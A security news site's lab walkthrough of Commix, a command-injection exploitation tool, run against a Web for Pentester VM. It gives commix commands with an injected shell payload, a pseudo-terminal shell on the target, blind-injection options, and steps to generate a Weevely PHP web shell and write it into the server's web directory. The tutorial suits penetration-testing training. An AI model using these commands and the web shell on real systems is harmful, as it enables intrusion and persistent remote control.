Wednesday, February 26, 2025
HomeExploitation ToolsCommix – Automated All-in-One OS Command Injection and Exploitation Tool

Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Published on

SIEM as a Service

Follow Us on Google News

Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, by web developers, penetration testers, or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.

By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. It is written in Python programming language.

Requirements and Installation

Requires version 2.6.x and above to run this tool, it can be downloaded from the GitHub.

root@kali:~# git clone https://github.com/commixproject/commix.git

Also, can be installed through Ubuntu’s APT (Advanced Packaging Tool)

root@kali:~# apt-get install commix

Supported Platforms

  • Linux
  • Mac OS X
  • Windows (experimental)

Classic Injection

Step1: Download and mount the Pentester lab exercise Web for Pentester and then you can reach the labs from your Kali machine browser Ex: http://192.168.169.130

Step 2: You can find command line Injection exercises.

Commix – Automated All-in-One OS Command Injection and Exploitation Tool

Step 3: Now in Kali type commix and copy the path for example 1.

INJECT_HERE – It will try to inject various queries here.

root@kali:~# commix –url=”http://192.168.169.130/commandexec/example1.php?ip=INJECT_HERE”
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
                                                               Injection attack

It checks for various payloads and successful with Payload: ;echo WIBYAT$((24+78))$(echo WIBYAT)WIBYAT.

Then it asks to connect with a terminal shell Do you want a Pseudo-Terminal shell? [Y/n/q] > By pressing “y” we can get the terminal access for the machine.

Blind Injection

commix –url=”http://192.168.169.130/commandexec/example1.php?ip=127.0.0.1″ –os=U –technique=”tf” -v 1
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
                                                      Blind Injection

Injecting Weevely PHP web shell

Step 1: Create a payload with weevely, if weevely is not installed you can use apt-get install weevely.

Step 2: Launch weevely and generate a PHP web shell.

root@kali:~# weevelyroot@kali:~# weevely generate commix /root/Desktop/Commix/shellexploit.php
Commix – Automated All-in-One OS Command Injection and Exploitation Tool
PHP Shell with Weevely

Step 3: To upload the file in the remote host, use the following command.

–file-write  = File to write in the destination host

–file-dest  = Filepath to write or Upload

commix –url=”http://192.168.169.130/commandexec/example1.php?ip=INJECT_HERE” –file-write=’/root/Desktop/Commix/shellexploit.php’ –file-dest=”/var/www/upload/images/”

Also Read:

Gurubaran
Gurubaran
Gurubaran is a co-founder of Cyber Security News and GBHackers On Security. He has 10+ years of experience as a Security Consultant, Editor, and Analyst in cybersecurity, technology, and communications.

Latest articles

MITRE Releases OCCULT Framework to Address AI Security Challenges

MITRE has unveiled the Offensive Cyber Capability Unified LLM Testing (OCCULT) framework, a groundbreaking...

Genea IVF Clinic Cyberattack Threatens Thousands of Patient Records

A significant cybersecurity breach at Genea, one of Australia’s largest in vitro fertilization (IVF)...

GRUB2 Flaws Expose Millions of Linux Devices to Exploitation

A critical set of 20 security vulnerabilities in GRUB2, the widely used bootloader for...

Orange Communication Breached – Hackers Allegedly Claim 380,000 Email Records Exposed

Telecommunications provider Orange Communication faces a potential data breach after a threat actor using the pseudonym “Rey”...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

Windows 11 BitLocker Bypassed to Extract Encryption Keys

An attacker with physical access can abruptly restart the device and dump RAM, as...

ConvoC2 – A Red Teamers Tool To Execute Commands on Hacked Hosts Via Microsoft Teams

A stealthy Command-and-Control (C2) infrastructure Red Team tool named ConvoC2 showcases how cyber attackers...

Cloudflare Developer Domains Abused For Cyber Attacks

Cloudflare Pages, a popular web deployment platform, is exploited by threat actors to host...